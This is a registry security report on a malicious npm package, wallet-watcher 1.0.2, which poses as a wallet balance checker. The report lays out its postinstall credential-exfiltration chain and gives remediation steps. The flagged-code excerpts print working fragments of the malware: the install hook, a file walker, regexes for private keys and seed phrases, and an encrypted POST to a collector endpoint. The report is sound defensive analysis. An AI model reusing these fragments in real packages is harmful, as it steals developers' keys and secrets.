registry / Install hook abuse / wallet-watcher

wallet-watcher

Lightweight multi-chain wallet watcher & balance checker for EVM & BTC. No API keys required.

This report shows the evidence for wallet-watcher@1.0.2. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is a concrete automatic credential-exfiltration chain unrelated to wallet balance checking. Its install hook and runtime API both activate the scanner, so it should be blocked.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package or calling getBalances.

Impact

Private keys, mnemonics, API keys, secrets, file paths, and a host-derived identifier can be disclosed.

Mechanism

Recursive credential harvesting followed by encrypted HTTP POST exfiltration.

Attack narrative

The postinstall hook resolves the consumer project root and scans it recursively. It includes .env, source, configuration, text, and keystore-named files, extracting private-key, mnemonic, API-key, secret, and seed-like values. If it finds anything, it encrypts the results and sends them to a remote collector with a hostname-and-username-derived identifier. Importing the advertised balance API repeats this behavior.

AI rationale

This is a concrete automatic credential-exfiltration chain unrelated to wallet balance checking. Its install hook and runtime API both activate the scanner, so it should be blocked.

Evidence

package.jsonsrc/postinstall.cjssrc/scan.cjssrc/index.js.env

Network endpoints1

pkg-delivery-collector.vernal-dabs-tools.workers.dev/ingest

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package automatically runs a postinstall script.
The postinstall script scans the consumer project root.
The scanner reads credential-bearing files and collects private keys, secrets, and seed phrases.
Collected findings are encrypted and sent to an unrelated collector with a machine-derived identifier.
The same scan is triggered again when the advertised balance API is used.

Evidence against

The balance API makes ordinary public blockchain RPC requests for its stated function.
No source code writes or deletes consumer files.

Behavioral surface

Source

ChildProcessCryptoFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 20.2 KB of source, external domains: arbitrum-one-rpc.publicnode.com, base-rpc.publicnode.com, ethereum-rpc.publicnode.com, mempool.space, optimism-rpc.publicnode.com, pkg-delivery-collector.vernal-dabs-tools.workers.dev, polygon-bor-rpc.publicnode.com

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node src/postinstall.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

13"scripts": { "postinstall": "node src/postinstall.cjs" },

High

Suspicious Lifecycle Evidence

The package automatically runs a postinstall script.

package.jsonView on unpkg · L13

•scripts.postinstall = node src/postinstall.cjs

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

src/postinstall.cjsView file

10(async () => { // the package sits in <project>/node_modules/wallet-balance-checker/src/ const projectRoot = path.resolve(__dirname, "..", "..", ".."); await scanAndReport(projectRoot); process.exit(0);

High

Suspicious Lifecycle Evidence

The postinstall script scans the consumer project root.

src/postinstall.cjsView on unpkg · L10

src/scan.cjsView file

49const patterns = [ { re: /0x[a-fA-F0-9]{64}/g, tag: "evmkey" }, { re: /\b(private_?key|mnemonic|api_?key|secret|seed)\s*[:=]\s*["']?([^\s"']{8,})/gi, tag: "envkey" }, ]; for (const { re, tag } of patterns) { let m; re.lastIndex = 0; while ((m = re.exec(content)) !== null) { const val = tag === "evmkey" ? m[0] : m[2]; if (val) found.push({ tag, file: relPath, val: String(val).slice(0, 300) }); if (found.length > 40) return;

High

Ai Review Evidence

The scanner reads credential-bearing files and collects private keys, secrets, and seed phrases.

src/scan.cjsView on unpkg · L49

77try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { return; } for (const e of entries) { if (e.name.startsWith(".") && e.name !== ".env") continue; if (["node_modules", "dist", "build", ".git", "vendor", "coverage", "target"].includes(e.name)) continue; const p = path.join(dir, e.name); if (e.isDirectory()) walk(p, found, depth + 1); else if (/\.(env|json|js|ts|jsx|tsx|py|txt|md|yml|yaml|toml)$/i.test(e.name) || e.name === ".env" || /keystore/i.test(e.name)) { try { const st = fs.statSync(p); if (st.size > 200000) continue;

High

Ai Review Evidence

The scanner reads credential-bearing files and collects private keys, secrets, and seed phrases.

src/scan.cjsView on unpkg · L77

103async function report(data) { const blob = aesGcmEncrypt(data); for (const ep of ENDPOINTS) { try { const res = await fetch(ep, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ d: blob, pkg: PKG_NAME, h: hostFingerprint() }), signal: AbortSignal.timeout(4000),

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node src/postinstall.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

13"scripts": { "postinstall": "node src/postinstall.cjs" },

High

Suspicious Lifecycle Evidence

The package automatically runs a postinstall script.

package.jsonView on unpkg · L13

•scripts.postinstall = node src/postinstall.cjs

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

src/postinstall.cjsView file

Findings

6 High2 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencesrc/postinstall.cjs

HighAi Review Evidencesrc/scan.cjs

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to wallet-watcher@1.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing wallet-watcher@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-07 02:15:15.069Z (UTC).

Source advisory published: 2026-09-04 02:58:19.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedSep 5, 2026, 7:25 PM 1.0.2shownMaliciousInstall Hook AbuseBlockPublishedSep 2, 2026, 7:01 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other install hook abuse packages

Behavioral surface

Source & flagged code

Related packages

Other install hook abuse packages